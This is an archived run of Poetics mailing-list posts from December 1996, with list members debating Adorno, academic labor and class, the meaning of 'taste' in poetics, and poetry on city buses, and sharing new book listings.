in answer to your question:

> *Is everybody on the list now subject to this holding-the-message business? Does this mean that we now get our mail doled out to us once a day after Charles has released it? Or is it just me?*

As Buffalo University State at New York converts everything from teh old vax servers to the old unix servers, there has been some difficulty on our end. Do not adjust your computer! For some reason many messages get held up (and aren't being processed)--I have sent the "free poetics" message many times and was not heard by the mainframe. Lost in cyberspatial suspension, my message floated, like many of yours, in an etherial world of magic blips.

> *PS: maybe we should change the list name from Poetics to Disgruntled Grouchy Professors.*

someone should do a parady of the poetics list 2026!

all best,

Joel Kuszai

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241. robert majzels
Adorno and Serbia
Sat 7 Dec 1996

Rachel Blau Duplessis is right, it was Adorno: "After Auschwitz, it is no longer possible to write poems." He wrote this in 1949, in "After Auschwitz" in Negative Dialectics, trans. E.B. Ashton. New York, Continuum Publishing Co., 1973.

Shoshana Felman, speaking of the necessity for art to de-esthetize itself, points out in her article on "Education and Crisis," in Imago vol. 48 Sring 1991, that

Adorno later wrote (see "Commitment," in The Essential Frankfurt School Reader, 1962): "The esthetic principle of stylization...make(s) an unthinkable fate appear to have had some meaning; it is transfigured, something of its horror is removed. This alone does an injustice to the victims... [Some] works...are even willingly absorbed as contributions to clearing up the past."

But more to the point here, he revisits his earlier statement: "I have no wish to soften the saying that to write lyric poetry after Auschwitz is barbaric... But Enzensberger's retort also remains true, that literature must resist this verdict..."

Also Charles Bernstein's "The Second War and Postmodern Memory," in Apoetics: "For to understand how Heidegger could be complicit in the Second War is to understand how the Second War is not an aberration but an extension of the Logos of Western Civilization. Jack Spicer's dying words -- "My vocabulary did this to me" -- could be the epitaph of the Second War as well: Our vocabulary did this to us."

In his 1949 text, Adorno also said, "If thinking is to be true -- if it is to be true today, in any case -- it must be thinking against itself. If thought is not measured by the extremity that eludes the concept, it is from the outset in the nature of the musical accompaniment with which the SS liked to drown out the sceams of its victims."

Which brings me back to the Serbian initiative being proposed here. By all means, let's have declarations in support of the democratic movement in Serbia, but I would be uncomfortable with calling on the US government to intervene in Serbia or elsewhere (again), even if only to threaten or bully a government into behaving democratically. Why not, when addressing foreign conflicts, stick to civil society: people to people gestures of support? To call on Clinton et al to straighten out the mess in Europe is problematic, to say the least. After all, the American state, in the name of its people, is responsible for a great deal more oppression, propping up and funding of dictatorships, military invasions and massacres than any other force in the world today, not to mention all of history. Perhaps US citizens could do some thinking against themselves, and propose that their government pay up its dues to the UN, or support UNESCO's naming Hiroshima as a world heritage site.... or stop international arms sales by US weapons manufacturers. Just a thought from the Quebec side of the border.

Robert Majzels

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242. **amato**
Re: life on the aka deme
Sat 7 Dec 1996

---

tom, ok, so you wanna talk turkey, we'll talk turkey...

I

"fuck that, i don't wanna go back THERE"

i didn't come *here* (to paraphrase michael boughn's recent post) as anything BUT a matter of life & death... now you can take "here" anyway you want to---use your imagination... but "life & death" to me means---among other things---how you earn a living... a question, as anybody who knows me knows, i generally manage to ask folks within my first five minutes of meeting them (not the best way to make a first impression, but there it is)...

i came here with all sorts of (doubtless) petit bourgeois ideas intact... e.g., tv for me is not primarily a matter of simulation a la baudrillard---first & foremost it's the *place* 'in front of which' my father, brother and i sat and argued, and shouted, and got along, while my father smoke, drank and worried himself to death... with a little help from his profession, too---working with furniture finishes, with the various solvents of his *craft*, had all to do with carcinogens---which is why i'm suspicious as hell of "craft" as i am of "institutions"... was my father a "master"---well hell, yeah, sure... i actually saw an old-timer, a guy who used to teach furniture finishing during the 30s, literally *weep* at the work my father had done... so what?---i mean, if you asked *my father* whether he was a "master," he probably woulda thought you were some kinda NUT...

we didn't have any curtains on our windows, in that upper flat, for the 13 years we lived there (and when i type "windows," i sure as hell HOPE somebody out there is thinking gui's)... and we left, finally, when they finally condemned the place... btw, i have an affinity for "they," which i use, as my folks did, to connote any group that has me by the short hairs...

now my dad---well, hell, he was a shop steward at general electric in the 50s---high school equiv. after the war, ETC... what do you figure he spent most of his time talking about?---"intellectual engagement"?... he was a first generation american born of sicilian immigrants who could barely read or write... if you catch me using the language of academe, it's b/c i've had to learn how to use it... so what?... though my mom was a formally educated woman (which latter was interrupted when the nazis walked into france), she too spent much of the 50s doing crimp & solder work, piece work... i assume we all know what this means... and later went on to spend her final years as a receptionist...

[cut to insert]

the academic in me wants to ask you folks whether any of you have read _in the age of the smart machine_ (shoshana zuboff), a book that goes a long way toward unpacking the customary values attributed to different sorts of knowledges and different sorts of workplaces... and how we're currently in an age when knowledge is increasingly textualized... it's not w/o its problems, but hell---tom, when you mention how many of us know how to _____, i want to say, why yeah, sure, so again, SO WHAT?... that's what *i* want to say, tom---the "me" that's typing this stuff... i want to say, hey, i'm not a butcherbakerorcandlestickmaker... i have other things i *do*, but i don't quite see how my insight into, say, tomato sauce, or into jogging, or whatever, precludes my discussion hereabouts about academe...

[tape together here]

learning a new language (recall "intellectual engagement," above) was not all a bad thing... i imagine my vocabulary these days includes quite a few words and expressions (mixed with fuck and shit and the like) that my friends from twenty years ago would not immediately grasp (shades of richard rodriguez here, i know---but please don't mistake my take on my past for his)... but i didn't learn that new language W/O being suspicious of this institution... while i would be more than willing to concede that my folks (note the class-based recourse i have to them, no?) would likely regard academe and its intellectual set with more outright respect than perhaps it/they deserve, i would nonetheless assure *anybody* around here (as should have been painfully clear when i talked about my "doctor of arts" degree, my non-phd phd) that i'm a far cry more suspicious about institutions than just about anybody i've met... you wanna see me cranked up?---just ask me what i think about academic politics... but be sure to do it *in person*---i'm not half as reasonable-sounding when i have the added advantage of my MOUTH, present and future, to back me up... and my more mouthy side wants to take you on, tom, mano-a-mano---that's my contentious "me," the 50% sicilian in me, the kneejerk jerk in me, the guy who wants to call *you* out for calling out me on my use of terms, while at the same time using yourself a word like "animadversions," a word that would probably never occur to me to use around here, anymore than using archaic expressions simply b/c they're likely to have more "communicative force"...

but ok...

the point here: you say you got into this racket easily... i had to work my nuts off for it... and when i finally got "here," i found mself (as don byrd so wisely put it, a decade ago) beyond where most of academe would be able to tolerate... which, ontologically speaking tom, is fine by me... but i just don't see what i do *for a living*---with its flaws intact---as any less valuable, intrinsically, than what my bro is currently doing... who, like me, is a former engineer, but in his

case an engineer-turned-successful entrepreneur... and when i write "successful," i mean beyond the wildest dreams of my folks...

II

[cut to insert]

taste, sez michael b., has been for him a "totally frustrating" thread... why is it that i've found it so valuable, and that you, michael---have found it so frustrating?... is it the tenor of the discussion itself?... or is it something else?...

[tape together here]

this list has been invaluable to me in establishing a network sense of community... heck, i've even used my experiences *here* to help flesh-out several web publications---not b/c i'm an opportunist (at least, not as i see it), but b/c i see something important going on in these parts... primarily, i'm permitted to 'talk' with all sortsa folks i would otherwise not 'talk' with... tom---you say you're always getting yourself in trouble in institutions... but hey---you think that i'm NOT?... you think teaching tech. writing and using, say, johanna drucker's work is not a problem?... you think i WANT to teach tech. writing?... you wanna know what happened in april of 1984 when i left the engineering profession (bristol-myers co.), and it left me?... why do you suppose that your experience with institutions has been any more problematic than mine... b/c i'm still an academic?... but hey---i'm 41, for chrissakes, and i'm not so utopian as to believe i can continue to do this job jig forever... i mean, even though there's other work for me, if i want it, i've already been elsewhere, like i say... i don't see why i shouldn't try to stick with this academic path... and hey, another thing---i'm posting alla this in public WHILE I'M APPLYING FOR JOBS---some folks on this list are no doubt on search committees, and have my vita in their hands... so mebbe I'M SELF-DESTRUCTING again, no?---in even *trying* to be forthcoming... or is my mentioning this latter reality simply the paranoid in me?... let ME answer that: i'm NOT paranoid, but i'm not stupid, either (another expression from my past)...

[cut to insert]

it occurs to me (and i say this having been a member of this list way back when it had mebbe two dozen people on it) that one problem here has been the assumption of community relationships where perhaps there are none... it occurs to me, though of course i may be wrong, that this somewhat 'explains' michael b's sense of frustration... i don't *know* so many of you folks, except as you come to these spaces, and in terms of your various publications... i have a sense, though only a sense, that though tom is less institutionally-centered (academically speaking) than me, the marker <tom mandel> means much more for many of you, poetically speaking, than the marker <joe amato>... so the way

i see it, <tom mandel> carries more institutional weight---in terms poetic... whereas <joe amato> may carry more, in terms loquacious... perhaps we really oughtta try harder to introduce ourselves to one another, to open up some of this personal SHIT, albeit i understand that many of you may not want to hear who all we all are... still, many e-lists i've been on encourage this sorta thing...

III

[tape together here]

[tape together here]

[tape together here]

i guess i have to ask all of you, directly and indirectly, how much honesty can you take?...

and give?...

joe

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243. **aerialedge**
Re: The Academic Career?
Sat 7 Dec 1996

Big Al writ:
>BTW -- anybody for the theory that the author of _Aerial and the Police_
>really wanted to BE the police all along?

BCN (be careful now)-- I believe it's _Ariel and the Police_

please.

pretty please.

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244. **Gwyn McVay**
Re: benjamin
Sat 7 Dec 1996

Rod,

I'd like one'a them Benjamins you mentioned.

How you?

Gwyn

↑ Index

245. **Gwyn McVay**
blush & hide
Sat 7 Dec 1996

Every so often I achieve true transcendent stupidity and screw up the "reply" function.

utterly socially mortified
Gwyn

↑ Index

246. **Aldon L. Nielsen**
Re: blush & hide
Sat 7 Dec 1996

---

sitting here with the guys at the gas station and we on impulse plucked up a piece of street to see what the hell was causing all that rumble -- anyway -- me & the guys pass along the following:

along with the forthcoming _Diacritics_ of which we so lately spoke, some amongst y'all may wish to look at the CURRENT _Diacritics_, which is a special issue on Bataille --

--during a somehwat touchy few days on last Summer's list, several were heard to mutter, "What's this CLA?" Current issue of _CLA Journal_ contains summary essay by Dolan Hubbard titled "Slipping into Darkness: CLA and Black Intellectual Formation_ -- Dolan will also chair an MLA panel on anthologies, a subject of frequent discussion in these parts --

-- Yes, Rod, the first edition of the book was _Ariel and the Police_, but they suddenly changed the spelling around the third printing! Go figure --

--Tom knows more about fuel injection than anyone I know, and with good reason, judging from what I hear from his mechanic -- On the other hand, he still hasn't explained why there's no "J" street --

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247. **wkl888**
Re: Johny Guitar
Sat 7 Dec 1996

Cf. Garry Wills' attempt in _The New Yorker_ to re-ideologize Wayne's jingoism ("In Rome, military rule was the highest virtue, and the most debilitating accusation was one of effiminacy... The Roman Empire dreamed constantly of John Wayne.") and link it to the hopes of the then-upcoming Republican convention in San Diego in "American Chronicle: John Wayne's Body", August

19, 1996, pp. 38-49. The particular charms of the photo on p. 42, however, say something very different.

Walter K. Lew

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248. **wkl888**
Replied-to Text
Sun 8 Dec 1996

Poetics List-- Have received request to indicate which message I was replying to a few hours ago when citing the New Yorker article on John Wayne. It was Dan Salmon's of December 2, 9:33 pm:

>Dislike of John Wayne is made rather easy with the benefit hindsight: 'Green Berets' the fact that he named his son after his 'Indian hating' character in the searchers & John Ford's confessions that he hid the searchers script from wayne because he thought wayne would not have coped with its leftist politics.
His all-round jingoism made him a pretty unpopular figure at a time of strong anti-war protest & revisionist history. However he is an important figure for both film & cultural studies - not just as a reflection of his and his characters politics - but the roles he played in a multitude of films many of which (green berets - excluded) use his persona to address complex issues that using a less strong character/personality would not have adressed.

The love/hate thing ties in quite nicely here, his Ethan was a man who 'hated indians' obviously this is a reflection on him rather than a reflection on 'the indians' & is a feature by which we judge him - and by which we know where we stand. It is a locator for his character. (In the green berets he hates another kind of indian).

Any judgements of Wayne (hate/love - violent (or passive) dislike) have to be tempered by a certain ambivalence: the usefulness of his character in 19th & 20th century american attitudes makes it difficult to write-off many of the films he starred in.

Dan<

--Walter K. Lew

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249. **Kali Tal**
Re: Wild taste
Sun 8 Dec 1996

> *The response to Wystan's position was to beat him over the head with Academic Master Narratives which explain all literature in a single jargon laden paragraph, as if "taste" had some essential, unchanging meaning, so you could just put the boots to it whenever you saw it without having to ask what it meant, how it was being used (Wittgenstein 101).*

Hmmm. Wystan seemed to be doing a bit of head-beating himself. And I didn't see anyone "explain all literature in a single jargon laden paragraph." I heard people (including me) question the word "taste," but didn't hear Wystan (or anyone *not* interested in "explaining literature") venture a definition of the word in the particular contest in which it was used and then suggest that there might be other meanings for the word in other contexts. As for "jargon-laden," well, I'm wondering what sort of jargon you might mean, and whether "Academic Master Narrative" might qualify. Most of what I've read of this thread has been pretty comprehensible and apparently straightforward.

> *Personally, I could care less about explaining literature. Having a poetics, however, as Jack Clarke used to point out, is a matter of life and death.*

What is the difference between "having a poetics" and "explaining literature"? Seems like "a poetics" *is* an "explanation" of a kind. Certainly I didn't hear anyone try to explain *away* literature, which is what you seem to be implying by your comment. If you've "got" a poetics, you've also got a story about it, which either does or does not go without saying. Even the claim that "having a poetics... is a matter of life and death" is based on some narrative you've bought into. It isn't just a simple "fact."

> *And this is a list purportedly dedicated to discussions of poetics.*

People talk about poetry and poetics in different ways, and there are at least as many definitions of "poetics" as there are of "taste." My exploration of poetics may not cover the same territory as yours, but if you can't stand it, that's what the "delete" key is for, isn't it?

Joe and I are quite definitely on the same wavelength here. I greatly appreciate his last, long post written in typical Joe Tomato fashion--hard hits, some painful honesty, and some artfully placed jump-cuts. Joe is talking about class issues--and of course I like that, too. But then, I *publish* Joe's poetry, and I like it because it's structurally beautiful *and* ideologically sound, and it uses a lot of literary conventions which are often employed to *avoid* talking about matters

of substance in order to better express those matters of substance. (Joe probably likes his own poetry for reasons which have little or nothing to do with my own.) In short, he subverts what I've come to think of as the "literary order." I don't give a damn if the notion of "ideology" is out of fashion; frankly, I think anyone without an ideology is either lazy, a fool, or too privileged to be forced to articulate one. The notion that "art" is somehow beyond or outside of ideology makes me gag. There's art in the service of fascism, and art in the service of freedom, and art in the service of [insert your favorite cause here]. No art is value-neutral. If I could imitate Dylan (the recent Nobel *poetry* nominee), I'd say in my best drawl, you gotta seeerve somebody.

I publish up to six full-length poetry manuscripts a year. Mostly I publish poets whose work wouldn't ever get picked up by the more established literary poetry presses. (Joe is an exception to this rule, and so are Maggie Jaffe, Leroy Quintana, and Philip K. Jason.) I publish fine writers, but they don't play the literary poetry game. Frankly, I don't give a fuck. I like their work; I think it's good, so I put it into print. David Connolly's _Lost in America_ sold 1700 copies since I published it in 1995... *without* a commercial distribution network. Dale Ritterbusch's _Lessons Learned_ just won the Wisconsin Poetry Prize. Connolly's worked as a lineman for the phone company for 25 years; Ritterbusch has been paid shit on a year-to-year contract in the English Dept. of podunk U of Wisconsin-Whitewater for two decades, where they actually *hassle* him about the time he spends writing. Unlike many of the folks on this list, I don't make a dime off poetry, either as a writer *or* an academic. In fact, my interest in poetry sometimes costs me thousands of dollars out of pocket in a bad year--poetry has definitely lowered my material standard of living. So it's always amusing to me when I'm jumped for my theorizing and my tendency to "explain literature" at the expense of "art." My "tastes" are as clear as day--just look at the Burning Cities Press/VG book list and you can't miss them. As a publisher I'm forced to declare my partisan affiliation with each book I release. I am hardly a mere theorist.

I hang out "here" on POETICS because what you-all do and talk about interests me, even though I doubt I'll ever feel a part of whatever community might exist on this list. I consider a few of the individuals who inhabit the place to be friends. Mostly, I just lurk, though lately I've been motivated to contribute to the discussion. I'm always astonished at how different my world seems to be from the world that most posts on this list represent.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746

[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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250. Dan Raphael Dlugonski
Re: life on the aka deme
Sun 8 Dec 1996

2 threads i see in this discussion: a) the incursion of capitalisms current de-evaluation of labor, rampant throughout the rest of the world, getting more apparent in universites; and b) the connection between teaching and writing. a tad of background: after a ba and mfa i tried to go into teaching, didnt succeed, and ten years later tried again (with a second ma). still i stayed a poet, developed as a poet, though lacked the support and networking that an academic position can give. i also developed a family and regional networks that the transient life of a 'beginning' (first 10-15 years?, with certain exceptions) teaching career does not allow. perhaps the current economic developments (and this ties in with several past discussions on academic living conditions, including creative vs 'standard' dissertations) are helping to wake up and shake up many writers to a clearer idea of the role of writer-- the teaching, the creating of more writers, is at best secondary to the function of sreading vision, spreading hte power of language, as its expressed in the history of literature, in language's insight into current human conditions via vernacular and pop culture, and in the rich psychological well of language itself. while teaching and the academic milieu has many demands on the body and the spirit, and non-academic career survival has its own pitfalls (like isolation from other artists and audiences), maybe these current changes in economics will serve to bring the power of language to bear more directly on economic and political realities, to enregize a wider variety of hearts and environments.

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251. aerialedge
new Benjamin, Spahr, &&& @ Bridge Street
Sun 8 Dec 1996

look it's books:

1. _Eulogies_ by Amiri Baraka, Marsilio, $22.95. Farewells in poetry & prose to Malcolm X, John Coltrane, Larry Neal, Kimako Baraka, Bob Kaufman, Miles Davis, Sun Ra, Toni Cade Bambara, & many others, 43 in all.

2. _Walter Benjamin: Selected Writings Volume 1, 1913-1926_ edited by Marcus Bullock and Michael W. Jennings, Harvard, $35. The first of a projected three

volume Selected. The final volume will be _The Arcades Project_. Five-sixths of this material has never appeared in English. As reported here the volume contains all of "One-Way Street," as well as many other essays, treatises, reviews, fragments, letters, & privately circulated pronouncements. Titles include: "The Life of Students," "A Child's View of Color," "The Ground of Intentional Immediacy," "The Object: Triangle," "Perception is Reading," "The Paradox of the Cretan," "The Meaning of Time in the Moral Universe," & "Capitalism as Religion."

3. _The Visible Word: Experimental Typography and Modern Art, 1909 - 1923_ by Johanna Drucker, U. Chicago, $15.95. "Drucker's passionate presentation of work too often overlooked and her brulliant critique of the critical domestication of modernist practice make _The Visible Word_ crucial not just for our understanding of the historical avant-garde but also for underderstanding what poetry is and how it means." --Charles Bernstein, Modernism/Modernity.

4. _Barnesbook_ by Jackson Mac Low, Sun & Moon, $9.95. "One's returned arms demand lament." Mac Low's unadjectiveable methods applied to the work of Djuna Barnes.

5. _Some Other Frequency: Interviews with Innovative American Authors_ edited by Larry McCaffery, U Penn, $19.95. Interviews with Kathy Acker, David Antin, Lydia Davis, Kenneth Gangemi, Marianne Hauser, Lyn Hejinian, Harold Jaffe, Richard Kostelanetz, Robert Kelly, Mark Leyner, Clarence Major, Derek Pell, & William Vollman.

6. _Deconstruction and Pragmatism_ edited, with an introduction by Chantal Mouffe. Essays by Simon Critchley, Jacques Derrida, Ernesto Laclau, and Richard Rorty. Routledge, $12.95. Rorty charges Derrideans with "an unfortunate over-philosophication of leftist political debate" which has led to "a self-involved academic left which has become increasingly irrelevant to substantive political discussion." Hmmm.

7. _Response_ by Juliana Spahr, Sun & Moon, $10.95. "the condition of unbearableness is the constant state of mind for all occupants" Winner of the National Poetry Series 1995, selected by Lyn Hejinian. "turn on the lights"

8. _707 Scott Street_ by John Weiners, Sun & Moon, $12.95. The famed circa '58 ms circulated journals of Wieners. "Who can say/ I should not walk in glory/ when I do."

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Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

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252. Patrick Foley
Re: Wild taste
Sun 8 Dec 1996

> *Personally, I could care less about explaining literature. Having a poetics, however, as Jack Clarke used to point out, is a matter of life and death.*
>
> *What is the difference between "having a poetics" and "explaining literature"? Seems like "a poetics" *is* an "explanation" of a kind. Certainly I didn't hear anyone try to explain *away* literature, which is what you seem to be implying by your comment. If you've "got" a poetics, you've also got a story about it, which either does or does not go without saying. Even the claim that "having a poetics... is a matter of life and death" is based on some narrative you've bought into. It isn't just a simple "fact."*

You see, Kali, this is the sort of thing that bugs the shit out of me. Why would it have to be a "narrative" (and btw this use of "narrative" and the more colloquial "story" is the kind of jargon he's talking about) Mike has _bought into_ rather than one he wrote his own goddammn self? How long did it take you to write this paragraph? 15 seconds? Man says he's interested in X not Y, and you shoot back X is Y. Did you stop to think? Don't you think it might have occured to Mike? So he had something in mind, which you have given no consideration to at all in your rush to handle him, make him into a _consumer_ of something you know all about rather than a _producer_ of something you don't.

That said, thanks for the post and the insight on what you do. Don't assume you're the only non-academic here. Me, I work at the local Barnes & Noble.

Pat

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253. Gwyn McVay
Re: Wild taste
Sun 8 Dec 1996

Kali and Pat,

Is having a "story" (or narrative, whichever term you like) really a necessary forerunner to, or consequence of, having a poetics?

When Mike says that "having a poetics is a matter of life and death," I take it to mean rather that "a poetics" is a collection of deeply felt beliefs, ideas, and hunches that shape both initial impulse and revision--a belief system that is necessary to one's idea of how the cosmos works. Creating a story out of these beliefs, whether it be a poetic manifesto or a creation myth, is, I think, a different act--closely related, to be sure, but still different.

"It's just a hunch," said Quasimodo to the bishop--

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254. **dbkk**
Re: poetry in transit
Sun 8 Dec 1996

Gary Roberts wrote:

> *Does anyone know much about the origins of the poetry-placards which occassionally appear in subways and buses, a la Poetry in Motion, that has made its way to Boston via NYC? I remember that a similar public-display venture appeared in Chicago buses in the mid-80s, and have heard that the practice began in San Francisco sometime in the 70s. I first was glad to see them, now I am less so, probably because their intentions seem disingenuous. Do they grease the wheels of commerce? Yes. Do they work for the well-being of commuters? I don't know.*

I take the bus all the time here in San Francisco, and I'm always delighted twice a year when the new poems appear on the bus system. Usually 6 poems appear all at once, in different parts of the bus. I spot one, then I run to the middle of the bus, then to the back, then back to the right hand side, murmuring, "Excuse me please" to all other commuters whose feet I'm stepping on, etc. In San Francisco these poems appear under the title "Streetfare Journal" and are edited by the poet George Evans. Usually he prints a lot of poems by the Objectivists. Dunno, maybe they wrote a lot of short poems. One time about six years ago I was racing through the 14 Mission and stumbled in my excitement and wound up lying across the laps of 5 of the meanest looking muscle boys in the back row in wool caps huge radios and glass pipes. I felt like Marilyn Monroe in "Diamonds are a Girl's Best Friend," except less, I don't know, elegant. These boys started to growl and curse and I was reduced to swallowing hard and explaining how I just had to see what was new from Miss Lorine Niedecker. But I am still alive and looking forward to next edition. --Kevin Killian.

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255. **amato**
Re: Wild taste
Sun 8 Dec 1996

---

just wanted to throw in here, or throw up, or whatever the hell it is i think i'm doing, that "story" is clearly a problematic way of understanding poetics... it's not so much that stories as such are a problem, but the incredible popularity of the term suggests what the problem is: even in light of more unconventional stories, and multilinear stories, and such, recourse to story often ends up reducing a complex of experience to a "naturalized" datum (news weather sports)... hence the popular experience = story... i'm certain kali can better flesh out her sense of how she meant "story"---it seemed to me she was using the term to connote the necessity of critical engagement with same... i.e., that our metanarratives often play a tacit role in shaping our judgment... but if our judgment is not esp. a function of narrative, or not esp. seen that way, why then perhaps we do need a better term...

anyway, seems to me part of the problem implicit in this taste thread is as follows (and i wasn't gonna post this to the list, but what the hell):

i like MACARONI
I like macaroni

the uppercase here to reveal the relative emphasis... now taste inflects the above two declarations differently depending upon where the emphasis falls... when i say, i like MACARONI, taste becomes a matter of that complex kali described so well, wrt macaroni... when i say I like macaroni, the complex shifts emphasis back over to the i...

now i tend mself to write about stuff using either emphasis... for most critics i know, i like MACARONI is probably the more typical emphasis... for many poets, i'll hazard it's I like macaroni (in fact, i think the poet/scholar tends toward the latter esp.--and here i'm talking, for one, about mself)... when someone sez, 'I like macaroni so what?,' that someone is more in the i... when someone sez, 'i like MACARONI b/c it _____" it's more macaroni that's being emphasized...

only relative, mind you... i think kali has, until her last post, been emphasizing the MACARONI, and i think pat foley has been emphasizing the I, esp. in that great long post of his... which is why kali and pat are really not so opposed---as i see it, anyway...

it should probably all be treated as

I LIKE MACARONI

i mean, both subject I and object ____ are at all times very much at stake in any such assertion/judgment... but thinking about it this way highlights a potential problem:

i like macaroni

it's the apparent deemphasis of both sides of the 'equation' that's the cause, methinks, of some real frustration...

best,

joe I LIKE MACARONI & i prefer lowercase

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256. **Brian McHale**
Re: paul carroll...
Sun 8 Dec 1996

Let me second (third, fourth) what has been said here about the late Paul Carroll, & especially about his "Young American Poets" anthology. This was for me a first window opening on innovative poetry, the first time I'd read Clark Coolidge, Kathleen Fraser, the 2nd-generation New Yorkers, etc. etc., in short a whole batch of poets I'd never even heard of before & whom I've stuck with to this day. My parents gave me the book on my 17th or 18th birthday, or whatever -- I have that copy on my shelf today. It's a mystery to me why, when people discuss famous "world-changing" anthologies (Donald Allen et al.) Paul Carroll' s never gets mentioned. I have to assume that I'm not the only person to whom it came as a revelation. Brian

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257. **aerialedge**
Re: Wild taste
Sun 8 Dec 1996

---

seems to me narrative is a structure of language-- you can do what you want to deny it-- it will be back. the problem is when taste becomes authority. both kali & pat are taking the position that they are resisting authority-- pat "academic master narratives" -- kali arguing for an understanding of the social constructedness of much behavior. seems to me both positions can be right. but i think you have to look at these things contextually-- i.e. look for authority, see if it can be justified. in matters of taste i can see no justification. one most times will end up denying the validity of another's perception. this tends to be boring &/or argument for argument's sake. tho when one knows another person well something like antin's "tuning" can take place-- you can get a feel for, begin to see the place(s) that taste comes from even while not being in agreement. or

being in agreement when you're with that person, you can see it _with_ them, & it might change you. John Cage had this effect on many many people.

--Rod

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258. **Brian Carpenter**
Re: poetry in transit
Sun 8 Dec 1996

Seattle also adopted a similar poetry-on-the-bus program a few years back. The city usually does a fairly decent job with public arts projects, but this particular program has been frustrating because it seems to have been a one-time effort. Initially there were a number of buses fully decked-out with poems (and some artwork) end-to-end. Today most of the buses will have at least a few poems up, but its the same poems that were up in the beginning. There are a few decent poems among the lot (even a Russian poem w/ both the cyrillic and eng. translation) but that does not make up for the horror of seeing "I am the wind! Hear me sing!" among the ads for three years straight. Furthermore, there is no indication given as to how these poems got there, nor where to send new poems to be put up on future buses.

These are pretty much my own aesthetic grumblings, sure, but there has been no indication that this program was anything but a one-time shot and thus I would be inclined to call the program somewhat disingenuous. It seems to me that the impetus behind such a program would be to artsify the masses so to speak--that is, to decompartmentalize poetry from the ivory tower, black-beretville, or wherever Joe Public might imagine poetry to be. If afraid, however, that in creating such a textual space and then letting it sit static they have created an entirely new compartment, at least as far as the commuting public is concerned. And, sheesh, if Citizen N disliked poetry before, theyre going to dislike it maybe even a little bit more after seeing the same tired poems over and over again.

So, unless such a program is run on an active basis (such as the SF buses seem to be) it seems to me that transit-poetry is pretty useless, maybe even counterproductive. Seattle's program seems to be so, at least, and seeing as how it is utterly unregenerative and presented as little more than a new way to redirect one's on-bus privatized boredom, the lethargic program rather encourages the notion that poetry is something one does outside of real life--useless texts, as Gary Roberts put it.

I didnt know of other such programs in other cities, and am encouraged to hear that at least some of them are doing well. If the idea is to get poetry to the commuting public, perhaps we could take this farther and put poetry on the

outside of the bus as well so that pedestrians and folks in cars could take part as well. (Given that such a driving distraction might cause a few accidents, perhaps Creeley's "drive, he sd, for / christ's sake, look / out where yr going" would be an initial candidate). Anyhow, its difficult to be encouraged by bus-poetry when you read tepid poems inside the KZOK-radio bus or one painted intentionally like an Adidas shoe. Here's hoping for improvement.

=Brian

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259. Aldon L. Nielsen
Re: you say "Amato"
Sun 8 Dec 1996

My God! Kali says "Toe-mah-toe" -- Shatters all my allusions --

Kali, turns out most of my Oliveros is in California -- so I'll mail "I of IV" along with some now old new music of the sixties in a similar vein -- and will then get more Oliverso to you late January --

"Oliverso" is I belive the recto to "Oliveros" --

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260. Tom Beard
Re: Wild taste
Sun 8 Dec 1996

Well, _de gustibus_ sure has caused a bit of _disputandum_. I'm kind of ambivalent myself - I tend towards Wystan's view that having _tastes_ (lower case, plural) is vital and human. To say of a piece of jazz (or opera or rap or pastrami) "oh it's a good example of it's kind" sounds pale, un-involved, even patronising. But to say "oh that's shite! now X (insert favourite other example of jazzoperarappastrami) - that's the real stuff", while risking being thought of as a "violent taste", sounds passionate and involved. It means that one considers jazzoperarappastrami worth caring about.

On the other hand (& there's always an other hand...), when _tastes_ solidify into Taste (capitalised, singular), I agree with Kali. _This_ is authoritarianism, or at the versy least arrogance. Interestingly, it was Lyotard who sniffed "this 'taste' is not Taste" when confronted with what he saw as the eclectic excesses of some postmodern artists.

It's intriguing that "tasteless" is the antonym of both "tasteful" and "tasty". In the first sense, a tasteless act is sometimes welcome as a rebellion against received Taste. In the second tense, it just signifies blandness.

Cheers &c,

Tom Beard.

(P.S. Thanks Matt for the URL of 'cigarette boy'. I'd heard about this, but only been able to find reviews on the net, not the actual text. The animated GIFs actually work well with the text in its context.)

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261. **Kali Tal**
Re: Wild taste
Sun 8 Dec 1996

> *You see, Kali, this is the sort of thing that bugs the shit out of me. Why would it have to be a "narrative" (and btw this use of "narrative" and the more colloquial "story" is the kind of jargon he's talking about) Mike has _bought into_ rather than one he wrote his own goddammn self?*

It's my opinion (and yours could differ) that no one writes meta-narratives their own damn self. (Sorry you don't like the term "narrative"--or "story" either, apparently--but I fail to see how they qualify as "jargon." Their meanings seem pretty clear and accessible to just about anyone who reads and writes in English.) Gwyn argues that:

> *"a poetics" is a collection of deeply felt beliefs, ideas, and hunches that shape both initial impulse and revision--a belief system that is necessary to one's idea of how the cosmos works. Creating a story out of these beliefs, whether it be a poetic manifesto or a creation myth, is, I think, a different act--closely related, to be sure, but still different.*

I don't think these are different at all; I think that the creation of the "story" is simultaneous with the assembly of the "collection" and that you can't have a poetics (or at least a poetics you can express) without also having a story about it. In fact, I don't think human critters can make a move or think a thought that isn't somehow connected to a story they've got about the way the world works. Our stories shape our perceptions; they are what enables us to distinguish between "important" features of a landscape (any landscape--internal or external) and "insignificant" features. And our stories are always formed through our interactions with that stuff which operates outside us, beyond our control--the environment, other people. Stories are produced in the exchange between the "I" and the universe. No input; no output. What makes human art so fascinating is the seemingly endless array of permutations which are possible from similar (but not the same) input, and the refinement of the various forms this output takes. I don't, of course, advocate any sort of simple mechanistic model of cultural production, since it seems to me that the nuances

and complexities and subtleties of environmental/social/cultural influence on individuals are so far from being quantifiable that such efforts are laughable. But it *does* seem useful to me to try and understand the stories people are capable of, or willing to tell about themselves and their art, and to analyze those stories as texts in an attempt to understand what *kinds* of stories might be useful for what purposes.

> *How long did it take you to write this paragraph? 15 seconds?*

Nice rhetorical trap. If I say it took me 15 seconds, then I'm guilty of being glib and shallow. But if I say I spent an hour on it, then I stand accused of having shallow thoughts despite my attention to the paragraph. Rhetorical devices are swell; I use them myself, particularly when I'm sure that I've already won an argument and just want to tapdance on my opponent's head.

> *Man says he's interested in X not Y, and you shoot back X is Y. Did you stop to think? Don't you think it might have occured to Mike? So he had something in mind, which you have given no consideration to at all in your rush to handle him, make him into a _consumer_ of something you know all about rather than a _producer_ of something you don't.*

